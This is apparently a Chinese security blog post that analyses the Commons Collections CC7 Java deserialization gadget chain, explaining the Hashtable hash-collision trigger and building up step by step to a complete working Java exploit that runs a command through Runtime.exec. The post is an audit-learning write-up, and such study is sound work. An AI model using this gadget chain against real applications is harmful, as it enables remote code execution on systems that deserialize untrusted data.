Java反序列化 CC7链分析

文章目录

前言

对比前几条链子,CC7链子的构造会稍显复杂,审计起来感觉跟CC6有点像,CC7的入口点是Hashtable,其核心在于利用Hashtable反序列化时的哈希碰撞来触发利用链,今天我们来详细分析一下

过程分析

后半部分

对于该链子的后半部分,我们用的还是LazyMap,具体可以参考之前的文章Java反序列化 CC1链分析 (LazyMap)

跟之前不一样的是,LazyMap这一部分代码需要进行修改,怎么修改我们后面分析的时候说,这里先把之前CC链用的代码放出来

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, chainedTransformer);
    }
}

前半部分

初步探索

CC7的入口是HashtablereadObject方法,我们跟进去看看

这段代码的主要作用是在对象被反序列化时,根据流里的数据合理初始化哈希表结构和数据,使其内容与序列化前一致,reconstitutionPut(table, key, value)则是把反序列化出来的键值对放入新哈希表数组中,实现恢复,我们跟进看看

该方法首先对value的值进行检查,如果为null则抛出异常,然后计算key的哈希值hash,并根据该哈希值计算索引index,定位到数组中对应的桶位置,接着遍历该位置上已有的链表,检查是否存在hash相同的key,如果存在则抛出异常,否则将创建一个新的Entry节点,并将其插入到对应桶的链表头部

其核心在于for循环这部分,if判断里存在短路与运算(&&),只有前面的满足了才可以进入后面的部分,同时我们上面提到,检查是否存在hash相同的key,也就意味着至少要向Hashtable里存入两个元素,且哈希值要相等,否则无法进入e.key.equals(key)这一部分

java 复制代码
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
	if ((e.hash == hash) && e.key.equals(key)) {
		throw new java.io.StreamCorruptedException();
	}
}

根据ysoserial的CC7代码,我们往key里面存入LazyMap的实例化对象,就会调用到LazyMapequals方法,但是LazyMap并没有这个方法,所以会往它继承的父类那里去找,也就是AbstractMapDecorator里的equals方法

我们跟进看看,if语句判断传入的object是否与当前实例是同一个对象,即是否满足引用相等,如果是同一实例则返回true,不同则return map.equals(object),所以我们要传入两个不同的对象才能调用equals方法

其中map对应的是LazyMap实例传入的第一个参数,根据ysoserial,也就是传入的HashMap实例,调用该实例的equals方法,但是HashMap也没有equals方法,同样的,也是去它继承的父类去找,即AbstractMapequals方法

跟进AbstractMapequals方法,可以看到里面调用了get方法,这一部分代码主要是判断两个Map是否相等时,先做一些基本类型和大小的判断,再逐个比对键值对内容;如果发现同一键对应的值不相等,则进入value.equals分支,只要我们传入oLazyMap的实例,然后经过强制类型转换就进入了m,调用mget方法也就是调用LazyMap实例的get方法,完成闭环

我们可以初步构造代码如下,lazyMap1lazyMap2key我们分别传入yyzZ,值就传个相同的数字,因为这样子两个lazyMaphash值是相同的,均为3872

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap1 = new HashMap<>();
        Map innerMap2 = new HashMap<>();

        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("zZ", 1);

        Hashtable hashTable = new Hashtable();
        hashTable.put(lazyMap1, 1);
        hashTable.put(lazyMap2, 2);

        serialize(hashTable);
        unserialize("cc7.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

但是运行的时候我们发现,还没开始进行序列化和反序列化就已经弹出计算器了,这并不是我们想要的

那么我们如何解决呢

逐步完善

这跟我们前面讲到的CC6情况一样,属于本地误触情况,具体可以参考Java反序列化 CC6链分析HashMap部分,如果提前在本地触发了利用链,那么反序列化的时候就不会弹出计算器了,解决方法也很简单,给LazyMap传入无害的Transformer,这里我们传入一个安全的ChainedTransformer,后面再通过反射修改其iTransformers的值为transformers即可

修改如下

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        // 添加无害ChainedTransformer,并删去原本的chainedTransformer实例
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Map innerMap1 = new HashMap<>();
        Map innerMap2 = new HashMap<>();

        // 修改第二个参数为transformerChain
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashTable = new Hashtable();
        hashTable.put(lazyMap1, 1);
        hashTable.put(lazyMap2, 2);

        Field itransformer = ChainedTransformer.class.getDeclaredField("iTransformers");
        itransformer.setAccessible(true);
        itransformer.set(transformerChain, transformers);

        serialize(hashTable);
        unserialize("cc7.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

但是运行之后还是没有弹出计算器,说明还存在问题,跟进调试后发现lazyMap2集合多了一个键值对yy

在经过AbstractMapequals方法时,由于元素个数不同导致返回false,也就无法继续后续链子的执行

为什么会这样呢,其实这里的情况也跟CC6类似,在我们执行hashTable.put(lazyMap2, 2)时,里面调用了lazyMap2equals方法,然后进一步调用了AbstractMapDecoratorequalsAbstractMapequals,最后调用了LazyMapget方法

在经过LazyMapget方法时,由于对应键值对不存在,就会触发map.put(key, value)新添加一个,导致多了一个yy键值对

解决方法也很简单,直接删去这个多余的键值对即可

java 复制代码
lazyMap2.remove("yy");

最终利用

综上,我们得到完整exp为

java 复制代码
public class Main {
    public static void main(String[] args) throws Exception {
        Class cs = Runtime.class;
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(cs),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Map innerMap1 = new HashMap<>();
        Map innerMap2 = new HashMap<>();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashTable = new Hashtable();
        hashTable.put(lazyMap1, 1);
        hashTable.put(lazyMap2, 2);

        lazyMap2.remove("yy");

        Field itransformer = ChainedTransformer.class.getDeclaredField("iTransformers");
        itransformer.setAccessible(true);
        itransformer.set(transformerChain, transformers);

        serialize(hashTable);
        unserialize("cc7.ser");

    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.ser"));
        oos.writeObject(obj);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

成功弹出计算器

为了更直观的理解,这里放个流程图

总结

至此,CC1到CC7的审计也就结束了,花了有一些时间,不过一通审计下来收获挺大的,阅读代码的能力得到了提升,以后还要继续多审一些代码,争取进一步的突破,路漫漫其修远兮,吾将上下而求索

相关推荐
三七吃山漆1 小时前
攻防世界——easy_web
安全·网络安全·web·ctf
前端小L2 小时前
图论专题(十八):“逆向”拓扑排序——寻找图中的「最终安全状态」
数据结构·算法·安全·深度优先·图论·宽度优先
liu_bees2 小时前
Jenkins 中修改 admin 账号密码的正确位置与方法
java·运维·tomcat·jenkins
明洞日记2 小时前
【设计模式手册011】享元模式 - 共享细粒度对象的高效之道
java·设计模式·享元模式
G皮T2 小时前
【Java】Java 运行时数据区域(一):名词概念
java·jvm·runtime·运行时·运行时数据区域
z***y8622 小时前
Java数据挖掘开发
java·开发语言·数据挖掘
鱼锦0.02 小时前
基于spring+vue把图片文件上传至阿里云oss容器并回显
java·vue.js·spring
從南走到北2 小时前
JAVA国际版同城跑腿源码快递代取帮买帮送同城服务源码支持Android+IOS+H5
android·java·ios·微信小程序
q***09802 小时前
Spring Boot 2.7.x 至 2.7.18 及更旧的版本,漏洞说明
java·spring boot·后端